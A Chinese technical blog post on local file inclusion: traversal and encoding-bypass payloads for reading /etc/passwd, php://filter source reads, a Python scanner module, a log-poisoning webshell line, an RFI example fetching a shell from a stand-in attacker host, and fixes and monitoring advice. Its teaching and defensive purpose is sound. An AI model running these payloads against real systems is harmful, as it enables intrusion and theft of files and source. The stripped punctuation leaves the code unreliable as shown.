开头先聊点实在的。干Web安全这一行LFI本地文件包含应该是绕不开的必修课。标题里这句“LFI Scanner 本地文件包含漏洞扫描、文件路径遍历、敏感文件读取etcpasswd”其实已经把这类场景的核心动作全说完了发现入口、遍历路径、落点读取。很多朋友一开始觉得LFI就是拼个../的事但真正拿它去扫真实目标时会遇到各种编码绕过、参数上下文、PHP伪协议过滤之类的问题。这篇我就把这些年在Web渗透和自动化扫描器落地过程中关于LFI的检测思路、payload设计、误报排除、利用链构造的实操经验完整梳理一遍适合刚接触Web安全的同学建立体系也适合写过不少脚本但总被误报折磨的同行互相印证。1. LFI漏洞的本质一条include语句引发的文件级风险1.1 漏洞成因与代码语义LFI的产生根源其实非常简单就是开发者把用户输入直接拼进了文件包含函数最常见的是PHP里的include、include_once、require、require_once。比如下面这段简化代码在真实业务里非常常见?php $page $_GET[page]; include(pages/ . $page . .php); ?这段代码的意图是根据用户点击的菜单动态加载对应的页面文件。思路很直白问题也同样直白。正常用户访问index.php?pageabout时代码会加载pages/about.php但如果攻击者提交index.php?page../../../../etc/passwd拼出来的实际路径就变成了pages/../../../../etc/passwd.php操作系统会把路径标准化pages/..回到上级目录最终读取到/etc/passwd。注意这里有一个细节代码末尾还拼接了.php后缀但为什么我们依然能读到文件原因在于如果目标包含路径不存在include会发出警告但脚本继续执行如果拼接后的真实文件存在就会直接输出文件内容。而/etc/passwd后面虽然被拼成了passwd.php但这个文件不存在PHP在include时会产生Warning但Linux下的文件读取机制会优先按实际路径尝试只要路径中前面的目录穿越有效文件内容实际已经被读取出来。这也是为什么我在后面扫描器设计里专门区分了“文件内容读取成功”和“PHP解析后输出”两种检测信号。1.2 LFI与RFI的区别为什么LFI更值得精细设计经常有人把LFI和RFI远程文件包含放在一起说但两者在现代Web环境下的地位完全不同。RFI的收入形式是让目标加载外部URL上的恶意脚本比如?pagehttp://attacker.com/shell.txt。早年PHP默认配置允许allow_url_includeOn时这种漏洞能直接打穿服务器。但现在几乎所有的生产环境都会把这个开关关掉所以RFI的实际生存空间被压得很窄。LFI则不一样因为allow_url_include只影响远程URL读取对本地路径包含毫无限制。就算你把PHP配置加固得再严只要代码里存在用户输入拼接includeLFI就仍然存在。而且LFI的利用链远不止读取/etc/passwd这么简单可以配合日志注入写一句话后门、用php://filter读取源码、甚至在有file_put_contents配合的情况下直接写WebShell。所以我个人更愿意把LFI看成Web渗透测试里一条基础但深度很足的利用路径扫描器的设计也应该围绕这一类完整链来做。1.3 危害面分析从一次检测能牵出多少敏感信息标题里专门提到了etcpasswd这其实是安全测试里最经典的验证样本。/etc/passwd文件包含了系统所有用户的用户名、UID、GID、家目录、登录Shell等信息。虽然现在Linux密码哈希基本都移到了/etc/shadow/etc/passwd里不再有密码哈希但它仍然是判断“是否成功读取到任意文件”的黄金指标。原因很简单这个文件的格式极具辨识度一行一条记录冒号分隔特征非常明显非常适合作为自动化扫描器的命中指纹。不过LFI的读取能力如果只停在/etc/passwd就浪费了。实际测试中我一般会按优先级去尝试读取这几类文件系统敏感文件/etc/passwd、/etc/shadow但通常权限不够、/etc/hostname、/proc/self/environWeb应用源码通过php://filter/convert.base64-encode/resourceindex.php读取源码审计逻辑应用配置/var/www/html/config.php、.env文件寻找数据库密码、API密钥日志文件/var/log/apache2/access.log、/var/log/nginx/access.log为日志注入Shell做准备从扫描器的角度检测不能只停留在“能读到passwd”这一层应该把文件读取能力映射出具体的危害等级这样报告才真正可落地。2. 扫描器检测原理与整体设计思路2.1 一个LFI扫描器该有的工作流程我在设计这类扫描器时没有把它做成一把梭的玩具脚本而是按照真实渗透路线分成四个阶段入口分析、payload生成、请求发送与响应判定、利用链验证。整体流程是先把目标URL扫一遍提取出所有带参数的请求点尤其是page、file、path、template、include这类参数名然后逐个打payload靠响应指纹判定是否命中。有的朋友可能会问为什么不直接把整个目标网站所有参数都打一遍理论上可以但效率和误报率都会失控。实际项目里如果目标是一个有几十个参数的CMS系统全参数扫描会产生几千个请求很容易被WAF拦而且在没有入口特征的情况下大量不相关参数会引入很多不可解释的误报。所以第一阶段做参数语义筛选非常关键这不是偷懒而是为了让扫描结果更可信。流程拆解下来长这样输入目标URL解析出host、scheme、query参数根据参数名优先级过滤生成待测请求列表对每个参数依次注入目录穿越payload、PHP wrapper payload检查响应内容中是否命中预定义指纹库对命中请求做二次人工复核确认响应属于文件内容而非错误页输出包含漏洞参数、读取到的文件片段、危害等级的报告2.2 风险参数识别与入口选择参数名的选择看起来是小事实际上非常影响扫描质量。我总结了一个经验优先级排序表按参数名直接反映的语义来决定权重参数类别常见参数名优先级强语义文件包含page, file, path, template, include, inc, doc, pg最高必测内容加载类load, read, view, content, detail高静态资源类url, src, link, image, data中需要配合上下文无特征参数id, name, type, action低通常不主动测为什么要做这个优先级因为真实业务里不是所有参数都直接拼到include里的。如果盲目对id参数注入../../../../etc/passwd大概率得到一个SQL报错或者空响应这种请求越多日志越脏排查越困难。我以前在某个模拟项目X中测过一个导航菜单参数名是menu_id从名字上看更像数据库主键但经过手工分析后端逻辑其实是include(menus/.$menu_id..html)——这种就属于必须人工介入的情况。所以扫描器给出的是候选入口不是最终结论这也是专业扫描器和自动发包工具之间的核心区别。2.3 payload设计目录穿越的层数与编码策略LFI扫描里最耐人寻味的部分就是payload。很多初学同学喜欢直接写../../../../etc/passwd但真实场景里会遇到绝对路径过滤、../被替换、后缀拼接、WAF字符拦截等各种问题。我设计的payload主要分五个梯队第一梯队是基础目录穿越。从../到../../../../层数从1到10逐级递增。比如?file../../../../etc/passwd。层数为什么要到10因为应用根目录可能在/var/www/html/下而项目子目录可能还有三四层比如/var/www/html/themes/custom/templates/这种情况下少于五层的穿越根本回不到根。第二梯队是编码绕过。../被过滤时可以尝试URL编码后的%2e%2e%2f或者双编码%252e%252e%252f。要注意的是编码能否生效取决于后端和中间件解析的层级。如果Nginx先做了一层URL解码然后PHP又做了一次那么双编码就能穿透一次过滤逻辑。我在实际测试中遇到过一次情况单编码被应用层过滤但双编码成功读取了文件原因就是WAF只做了一次解码匹配。第三梯队是绝对路径注入。有些系统的过滤逻辑会在路径前加前缀比如拼成/var/www/ . $input那直接用/etc/passwd这种绝对路径反而有效。还有一种情况是include了$page . .php这时候可以直接用PHP的php://filter伪协议它不会被.php后缀简单干扰。第四梯队是php://filter/convert.base64-encode/resource这个非常有价值因为资源读取结果会被base64编码输出既能绕过内容关键词过滤也能用于读取PHP源码。皮尤检测的时候我会把php://filter的命中单独分类它通常代表可以完整读取源码危害等级比单纯读passwd更高。第五梯队是空字节截断%00。这是PHP 5.3之前的老漏洞现在基本不存在了但扫描器里我还是保留了一组主要作用是在代码审计环节套老系统时用。2.4 响应判定低误报指纹库的构建自动化扫描器最怕的是把错误页当命中的“高误报”也怕真实命中但指纹匹配不上的“漏报”。我构建判定指纹时遵循一个原则优先用格式特征极强的片段而不是模糊的全文匹配。拿/etc/passwd举例检测逻辑不是简单地看正文里有没有root因为很多网站的欢迎语里都有“root”或“admin”。我用的正则包括passwd_patterns [ rroot:.*?:0:0:, r/bin/bash, r/usr/sbin/nologin, r:1000:1000:, ]只要匹配到root:...:0:0:这样的组合就能确定是/etc/passwd的真实内容而不是碰巧提到root。同理读取/etc/hostname时不强匹配内容而是看响应Body是否是单行较短的主机名字符串且响应头里的Content-Type接近text/plain——这种组合能大幅降低误报率。另外我还加了一个“错误排除”层。当Payload请求返回的是同一个页面时说明参数可能被忽略当响应Code变成500或返回空Body时要单独标记为“疑似触发异常需要人工复核”。这种规则在扫描器落地时特别重要因为网站在用户并发扫描下本来就可能返回各种莫名其妙的错误。3. 实操过程从手工验收到扫描器落地3.1 环境准备与测试授权确认无论技术多熟练测试授权永远是第一条红线。我自己平时的习惯是先看目标是否属于自己公司的授权范围或者是否在合法的SRC平台规则内用自建靶场时就更灵活了。所有自动化扫描的请求都应该在授权允许的范围内进行。在环境层面我本地一般准备的是一台装好PHP 7/8和Apache或Nginx的虚拟机一个手工搭的LFI测试靶场里面包含包括普通include、带后缀include、过滤../的include、使用php://filter的include等不同场景扫描器开发环境Python 3.8以上只需要requests库就能跑核心逻辑靶场不用搞很复杂随便写两个PHP文件模拟就行。关键是验证扫描器的检测逻辑是否能在不同形态的include场景下正确命中。我个人不太建议大家第一次调LFI扫描器就跑到公网上扫真实目标那基本等于自找麻烦先在本地把误报率调到合理范围再考虑外网。3.2 手工验证比扫描器更早确认漏洞扫描器再好手工验证这一步也省不掉。访问一个典型目标时我会先变着花样试几个payload先把结论锚定了再上自动化。举一个我刚才说的模拟项目X里的例子目标URL是http://target.com/index.php?pageabout我按这个顺序测试第一步正常请求?pageabout确认返回为正常页面。第二步请求?pageabout/../../../../../../etc/passwd观察页面中是否出现root:x:0:0:root:/root:/bin/bash片段。正常页面结构里如果嵌进了文件内容通常在页面尾部或替代了原本内容区域。第三步如果页面无变化尝试?page../../../../../../etc/passwd%00兼容老版本。这一步出现漏洞的话页面里会多出passwd的内容。第四步再试?pagephp://filter/convert.base64-encode/resourceindex.php看响应Body是否是一大段Base64解码后如果能还原出PHP源码那这台机器基本就是你的练兵场了。手工验证的价值在于你能直接观察到漏洞的触发上下文——到底是在页面区域渲染的、还是作为文件被下载的、还是触发了错误日志。扫描器只能告诉你“大概率命中”手工确认则能把“大概率”变成确定性结论。所以我的使用习惯永远是“手工先行扫描器批量跟进”。3.3 Python实现一个LFI扫描器核心模块扫描器整体结构是我在多个测试项目中迭代出来的这里给出可运行的核心模块代码大家可以直接在本地靶场测试。整体代码分几块目标解析与参数提取、payload构造、请求发送、指纹匹配、报告输出。下面是核心代码框架核心思路是“参数解析—payload注入—三级判定”import requests import urllib3 import re from urllib.parse import urlparse, parse_qsl, urlencode urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 指纹库 FINGERPRINTS { etc_passwd: [ rroot:.*?:0:0:, r/bin/bash, r:/usr/sbin/nologin, ], etc_hostname: [r^[a-zA-Z0-9_-]{1,32}$], php_source_b64: [r^(?:[A-Za-z0-9/]{4})*(?:[A-Za-z0-9/]{2}|[A-Za-z0-9/]{3})?$], } # payload构造 def build_payloads(base_url, param, value): payloads [] # 基础目录穿越 1-10层 for depth in range(1, 11): traversal ../ * depth etc/passwd payloads.append((ftraversal_{depth}, traversal)) # 编码绕过 payloads.append((single_encoded, %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd)) payloads.append((double_encoded, %252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd)) # 绝对路径 payloads.append((absolute_path, /etc/passwd)) # PHP filter读取源码 payloads.append((php_filter, php://filter/convert.base64-encode/resourceindex.php)) return payloads def check_lfi(url, param, value): parsed urlparse(url) query parse_qsl(parsed.query) # 替换目标参数值 new_query [(k, v) if k ! param else (k, value) for k, v in query] target_url f{parsed.scheme}://{parsed.netloc}{parsed.path}?{urlencode(new_query)} headers {User-Agent: Mozilla/5.0 (compatible; SecurityLab/1.0)} resp requests.get(target_url, verifyFalse, timeout10, allow_redirectsFalse) body_text resp.text # 判定逻辑 hit_type [] if re.search(rroot:.*?:0:0:, body_text): hit_type.append(etc_passwd) # PHP filter的base64识别 if re.search(r\?php, body_text): hit_type.append(php_source_exposed) return hit_type, resp.status_code这段代码的核心不是复杂而是把payload路径和判定逻辑分开方便后续扩展。比如你要加/etc/shadow的检测就往FINGERPRINTS里加正则然后在payload生成函数里增加对应路径即可。如果扫描目标量大还可以改成多线程但要小心线程风暴触发WAF。我的经验是控制并发在5左右单请求超时设10秒这样既不拖慢整体速度也不容易让目标服务崩溃。3.4 有参数绕过与无参数利用的补充在实际测试中会遇到开发者做了str_replace(../, , $input)这种简单过滤的情况。此时../../../../etc/passwd直接送进去会被替换成etc/passwd因为四个../都变成了空。但有个常见的绕过方式是利用嵌套比如..././..././当过滤只做一次删除时由于原始字符串里不直接匹配../替换逻辑可能被绕过最终路径在文件系统里会被标准化成../../..。在做扫描器时我建议把这种payload放进“过滤绕过震荡”小组和编码绕过、绝对路径放在一起。因为它们在真实应用里的成败和过滤逻辑高度相关单看代码检测不出来必须实际发送请求。无参数利用一般是配合其他漏洞链出现的。比如目标存在一个写文件的入口可以写入内容到日志然后通过LFI去包含这个日志文件从而把PHP代码注入执行。扫描器在这类场景里一般做不了全自动因为需要先写日志再包含日志两步之间有对象状态依赖。我通常的做法是扫描器一旦发现/var/log/nginx/access.log或/var/log/apache2/access.log可以被读取就停止扫描标记“疑似可配合日志注入”然后交给人工做后续利用。3.5 输出结果与利用层验证扫描器生命周期最后一步是报告。我强烈建议报告里不要只给“存在LFI”这种一句话结论而应该附上响应片段、命中指纹类型、可疑URL完整参数、建议的利用链方向。比如同样的LFI读取到passwd和读取到index.php源码的危害级别完全不同前者是信息泄露后者很可能直接导向代码审计和GetShell。我在扫描器的报告阶段会把结果分三层第一层通用信息泄露读取到了/etc/passwd等系统文件。危害级别中高。第二层源码读取通过php://filter或其他方式拿到了PHP源码。危害级别高可能涉及数据库配置泄露。第三层可执行代码链通过日志注入或伪协议写入成功。危害级别紧急。实操中扫描器输出“第二层及以上”的结果时我都会手动复核一遍因为这是可以直接写进渗透测试报告交差的硬成果不能出错。4. 实战中常见的误报漏报与排查技巧4.1 误报排查扫描器说命中了但页面根本没读取到文件这是所有扫描工具都会遇到的问题。响应里出现root:0:0结果一查是类似招聘页面里贴的《Linux用户手册》里面恰好有passwd格式示例。这种情况怎么排除我的做法是加“上下文校验”。检查passwd模式出现的位置以及是否在同一响应中检测到多个实例。真实/etc/passwd包含几十行用户记录若响应中只出现一次类似格式大概率不是文件读取。更可靠的验证是再发一个对照请求比如把etc/passwd换成etc/hostname如果响应跟随变化就能确认是动态文件读取而非静态页面内容。4.2 漏报排查存在LFI但扫描器没发现漏报的原因通常有三类。第一类是参数不是扫描器预置的优先级参数名比如用了m、p这种短名这时候就要靠人工对代码或流量做review。第二类是路径穿越层数不够应用目录嵌套很深10层不够用解决方法是payload里增加一个“深度覆盖”模式从1层到30层全覆盖。第三类是响应是二进制或压缩输出文本匹配失效。第三类我在某个图像处理Demo站点里遇到过include的文件内容不是直接输出而是被做了编码转换或写入到了一个隐藏DOM节点里。扫描器只抓了响应正文源码没解析渲染后的DOM导致命中了但无法用于匹配。后来我把扫描模式加了一个“渲染解析”的选项用简单的方式解析HTML后再做模式匹配漏报率明显下降。4.3 include上下文导致的payload失效include拼出来的路径如果带固定前缀和后缀payload设计就不一样。比如include(cache/.$lang./.$page);这种情况下用../../../../etc/passwd可能无法到达根路径必须根据前缀层级微调穿越层数。而且如果后拼接.html直接用/etc/passwd多半失败此时php://filter反而有效因为filter是流式包装器不关心后面拼接的扩展名。调试这类问题时我的办法是在前面手工测试阶段多试几种层级组合如果扫描器支持“相对/绝对切换”这个开关就方便很多。很多在扫描器里看起来“不合常理”的失败其实是实际目录结构和拼接逻辑造成的这时候多注意响应差异比死磕payload本身更高效。4.4 日志注入与PHP伪协议的利用扩展读取到access.log只是第一步真正的LFI利用深度往往从这里展开。我在授权测试中会这样做先构造一个包含PHP代码的User-Agent请求使访问日志记录里带上恶意代码再通过LFI包含日志文件。Payload长这样GET / HTTP/1.1 User-Agent: ?php system($_GET[cmd]); ?然后利用LFI读取/var/log/apache2/access.log如果日志内容被当成PHP代码解析就能通过?cmdid执行系统命令。这就是“日志注入”的经典链。但有个问题需要注意现代的Access日志会把User-Agent中的尖括号转义成%3C?php...?%3E之类的URL编码导致包含后不能直接解析。如果遇到这种情况我会看是否有其他日志没有做编码比如/var/log/auth.log、应用自定义日志等或者退而求其次利用PHP Base64 filter读取到源码然后继续审计。php://filter在利用端的核心价值我觉得有三点读取PHP源码做白盒审计配合base64编码绕过内容检测绕过拼接后缀限制准确读取任意文件内容扫描器可以对php://filter单独做一组payload并把检测重点放在返回的Base64字符长度和常见PHP文件头解码结果上。5. 修复方案与纵深防御建议5.1 代码层修复白名单和路径校验LFI的根因是用户输入直接混入路径修复方案也围绕这一点。最简单的稳妥做法是用白名单映射避免任何用户可控的路径直接进入include?php $allowed_pages array(about about.php, contact contact.php); if (isset($allowed_pages[$_GET[page]])) { include($allowed_pages[$_GET[page]]); } else { include(error.php); } ?如果业务上确实需要动态加载就做严格路径校验。用realpath()在include之前解析路径并确保解析结果落在允许的根目录内?php $base_dir realpath(__DIR__ . /pages/); $target realpath(__DIR__ . /pages/ . basename($_GET[page])); if ($target strpos($target, $base_dir) 0) { include($target); } else { exit(Invalid path); } ?这段代码里的关键点在两个basename()会去掉路径中的目录穿越成分realpath()会把最终路径标准化strpos($target, $base_dir) 0保证了最终文件一定在允许目录内。这套组合即使后面拼接.php后缀也能防住绝大多数穿越和编码绕过。我见过不少修复方案只过滤../这其实不够因为绝对路径注入和编码绕过仍然可能奏效所以我在代码审计里最推荐的是“白名单优先路径归一化兜底”。5.2 服务端配置加固PHP配置方面几个开关值得确认allow_url_include Off默认即关闭但维护老环境时需要确认allow_url_fopen Off如果业务不需要远程拉取文件建议关闭禁用危险函数disable_functions system, exec, passthru, shell_exec配合LFI利用链时很有必要但要结合业务实际Web服务器层面的加固我会建议限制include目录的可访问权限设置open_basedir把站点目录限制到固定路径。比如项目根目录为/var/www/html时配置php_admin_value[open_basedir] /var/www/html:/tmp这样即使LFI存在读取范围也被限制在站内和临时目录无法直接跨到系统的其他敏感路径。5.3 日志监控与响应对于安全运维侧日志监控的价值有时候被低估。LFI攻击的特点是请求中带有大量../、php://、/etc/passwd字样这些是很好的回溯线索。内网的安全设备上可以用规则匹配这类请求触发中危告警并联动到主机侧的审计。还有一个细节是扫描器这类工具的防御面把URL参数中的编码异常纳入监控比如单个请求中出现多次URL编码的斜线、%00、连续../基本可以判定为探测行为。虽然攻击者也会变着法绕但能大幅缩小可疑请求的窗口为应急响应争取时间。在真实项目里我还遇到过一种情况修复完代码后扫描器仍然能读取到/etc/passwd后来发现是LFI入口不在业务代码里而在一个很老的模板引擎的默认加载逻辑中。这给我们的教训是修复LFI不能只修某一个include调用要全项目搜索所有包含用户输入的include/require语句并统一收敛入口。所以我自己做代码审计时会把grep -R include\|require的结果全部过一遍确认每一个文件包含操作都有校验不然堵住一个口旁边还有一个口等于白修。我个人在实操里体会最深的一点是LFI扫描器这种工具价值不在“发了很多payload”而在于它能不能把“可疑路径”和“真实漏洞”之间的距离缩短。初期的版本为了降低漏报我把payload设计得很丰富结果每天被误报淹没后来转向“入口语义优先响应指纹强约束多指纹交叉验证”扫描结果才真正变得可用。如果你也在写这类工具建议从一个小靶场开始把passwd和PHP filter这两条路径测稳定了再慢慢扩展绕过策略和利用链验证。方向对了工具自然会越磨越顺。
阅读完成 · 觉得有帮助?